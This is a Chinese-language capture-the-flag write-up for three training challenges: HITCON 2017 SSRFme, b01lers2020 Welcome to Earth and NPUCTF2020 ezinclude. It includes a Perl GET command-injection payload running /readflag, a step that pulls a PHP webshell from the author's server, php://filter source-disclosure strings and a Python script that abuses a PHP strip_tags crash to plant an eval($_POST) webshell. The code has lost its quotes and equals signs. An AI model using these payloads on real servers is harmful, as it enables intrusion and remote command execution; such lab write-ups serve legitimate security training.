网站标题作弊,app推荐,wordpress 政企,医院网站建设方案计划书[HITCON 2017]SSRFme 直接给了源代码#xff0c;题目名称还是ssrf#xff0c;那么该题大概率就是SSRF的漏洞#xff0c;进行代码审计。
?php// 检查是否存在 HTTP_X_FORWARDED_FOR 头#xff0c;如果存在#xff0c;则将其拆分为数组#xff0c;并将第一个 IP 地址…[HITCON 2017]SSRFme 直接给了源代码题目名称还是ssrf那么该题大概率就是SSRF的漏洞进行代码审计。
?php// 检查是否存在 HTTP_X_FORWARDED_FOR 头如果存在则将其拆分为数组并将第一个 IP 地址赋值给 REMOTE_ADDR。if (isset($_SERVER[HTTP_X_FORWARDED_FOR])) {$http_x_headers explode(,, $_SERVER[HTTP_X_FORWARDED_FOR]);$_SERVER[REMOTE_ADDR] $http_x_headers[0];}// 输出用户的远程地址IP 地址。echo $_SERVER[REMOTE_ADDR];// 创建一个以用户 IP 地址结合字符串 orange生成的 MD5 哈希值命名的沙盒目录。$sandbox sandbox/ . md5(orange . $_SERVER[REMOTE_ADDR]);mkdir($sandbox); // 创建沙盒目录如果目录已存在错误将被抑制。chdir($sandbox); // 切换到沙盒目录中。// 使用 shell 命令 GET 获取由 URL 参数指定的资源。$data shell_exec(GET . escapeshellarg($_GET[url]));// 解析文件路径信息获取文件名和目录名等信息。$info pathinfo($_GET[filename]);// 去掉目录名中的点号防止目录穿越漏洞。$dir str_replace(., , basename($info[dirname]));mkdir($dir); // 创建目录如果目录已存在错误将被抑制。chdir($dir); // 切换到新创建的目录中。// 将获取到的数据写入指定的文件中。file_put_contents(basename($info[basename]), $data);// 高亮显示当前脚本文件的代码。highlight_file(__FILE__);如果存在 HTTP_X_FORWARDED_FOR 头则使用其第一个值否则使用 REMOTE_ADDR。接着利用用户 IP 生成的 MD5 值来创建目录确保每个用户的操作在不同的目录中进行。执行GET拼接shell命令内容可控。将可控内容写入到可控文件中。
实现发送GET请求给当前GET参数’url‘并将其结果保存在/sandbox/md5/filename中其中filename为传入的Get参数。
构造?url./../../filename123 然后访问目录是 sandbox/(orangeip)的MD5值/123 可以看到目录但是不能够直接访问尝试再多写一个../ ?url./../../../filename123 再加最后为?url./../../../../../filename123
已经可以看到根目录下的flag了。还可以看到readflag文件。那么思路就是利用readflag文件读取flag。 尝试redaflag
?url/readflagfilename123
但是访问后是下载了一个二进制文件 并没有执行那么就尝试将根目录下flag文件的内容写入到我们创建的文件中
利用到bash -c
bash: 这是指 Bash Shell一种常用的命令行解释器。-c: 选项 -c 表示 Bash 将执行接下来的字符串作为命令。
/?urlfile:bash -c /readflag|filenamebash -c /readflag
file: 协议通常用于访问文件系统中的文件。
再次传参/?urlfile:bash -c /readflagfilename123
然后访问 但是回显是空的。 但是还可以使用另一种解法。
在vps上绑定一句话木马进行监听然后通过GET命令去请求用$_GET[“filename”]传入的值作为文件名保存。
python3 -m http.server
用python启用一个http服务。 构造pyalod进行请求
?url172.17.xx.xx:8000/shell.phpfilenameshell.php
然后再去访问,这样就把我们的马子给写进去了。
蚁剑直接连接 但是flag不可以直接打开需要执行readflag 总结该题可以使用两种解法一个是利用原来的readflag文件读取flag并将读取的结果输入到我们创建的文件中
第二种就是利用vps直接把vps的木马挂到我们创建的文件中就可以getshell。
该题的考点是ssrfGET命令的一个漏洞GET命令是用perl来执行而prel的open可以执行命令。
这里的GET不是我么平常的GET方法传参这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理。
这里GET一个根目录功能类似于ls把它给列出来。
[b01lers2020]Welcome to Earth 一个页面但是是名为/die/
查看源代码 什么都没有把/die/删掉看一看 可以看到源代码访问 /chase/ 接着访问/leftt/ 接着访问/shoot/ 接着访问/door/ 接着访问/static/js/door.js 接着访问/open/ 接着访问/static/js/open_sesame.js 最后访问/static/js/fight.js 得到源代码 // Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {for (var i 0; i key.length; i) {let n key.charCodeAt(i) % flag.length;let temp flag[i];flag[i] flag[n];flag[n] temp;}return flag;
}function check_action() {var action document.getElementById(action).value;var flag [{hey, _boy, aaaa, s_im, ck!}, _baa, aaaa, pctf];// TODO: unscramble function
}flag被打乱了还原flag。
# 从 itertools 库导入 permutations 函数该函数可以生成给定可迭代对象的所有排列
from itertools import permutations# 定义一个包含若干字符串元素的列表 flag
flag [{hey, _boy, aaaa, s_im, ck!}, _baa, aaaa, pctf]# 使用 permutations 函数生成 flag 列表中所有元素的排列
item permutations(flag)# 遍历所有排列的结果
for i in item:# 将当前排列 (元组) 转换为字符串k .join(list(i))# 检查字符串是否以 pctf{hey_boys 开头并且以 } 结尾if k.startswith(pctf{hey_boys) and k[-1] }:# 如果条件满足则打印这个符合条件的字符串print(k)尝试后得到pctf{hey_boys_im_baaaaaaaaaack!}
该题只有排列组合的问题就算一个一个排列着试都可以得到正确结果。
[NPUCTF2020]ezinclude 显示username和password是错误的。尝试查看源代码。 有了提示!--md5($secret.$name)$pass --
在进过尝试后发现name和pass是通过get进行传参的。 可以看到回显有个hash值猜测可能是md5后的值传参
/?name1pass576322dd496b99d07b5b0f7fa7934a25 访问flflflflag.php 可以看到include($_GET[file])
构造?filephp://filter/readconvert.base64-encode/resourceflflflflag.php
查看源代码 html
head
script languagejavascript typetext/javascriptwindow.location.href404.html;
/script
titlethis_is_not_fl4g_and_åºé¢äºº_wants_girlfriend/title
/headbody
?php
$file$_GET[file];
if(preg_match(/data|input|zip/is,$file)){die(nonono);
}
include($file);
echo include($_GET[file]);
?
/body
/html
w%ude($_GET[~)^]) 再扫一下目录看看还有没有其他可以用的代码。
扫了半天什么都没有扫到但是看了wp后存在一个dir.php文件
?filephp://filter/readconvert.base64-encode/resourcedir.php ?php
var_dump(scandir(/tmp));
?
dir.php能打印临时文件夹里的内容.
那么我们就可以把码写到临时文件中。
利用php7 segment fault特性CVE-2018-14884
php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
strip_tags 过滤器的使用。
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启如果在同时上传了一个文件那么这个tmp file就会一直留在tmp目录知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时让PHP异常崩溃退出POST的临时文件就会被保留临时文件会被保存在upload_tmp_dir所指定的目录下默认为tmp文件夹。
构造payloud
/flflflflag.php?filephp://filter/string.strip_tags/resource/etc/passwd
import requests # 导入requests库用于处理HTTP请求
from io import BytesIO # 导入BytesIO用于在内存中操作字节数据# 定义需要执行的PHP代码
payload ?php eval($_POST[cmd]);? # 这是一个PHP代码片段可以通过POST数据执行传入的命令# 准备要发送的数据模拟一个文件上传
data {file: BytesIO(payload.encode())} # 将payload字符串转换为字节并包装在BytesIO对象中模拟文件上传# 定义目标服务器的URL
url http://ec4fa282-4f36-4ae3-9a08-56112f3a5155.node5.buuoj.cn:81/flflflflag.php?filephp://filter/string.strip_tags/resource/etc/passwd
# 这个URL使用了PHP过滤器来访问目标服务器上的/etc/passwd文件内容# 发送POST请求带上准备好的数据和文件上传
r requests.post(urlurl, filesdata, allow_redirectsFalse)
# 发送POST请求包含files数据allow_redirectsFalse防止自动重定向运行脚本后访问/dir.php 得到tmp目录下刚刚我们上传的文件路径:/tmp/phpqUFJz7
利用文件包含 flag在里面。
总结php://filter的 strip_tags 过滤器在php7导致php崩溃清空堆栈重启如果在同时上传了一个文件那么这个tmp file就会一直留在tmp目录知道文件名就可以getshell。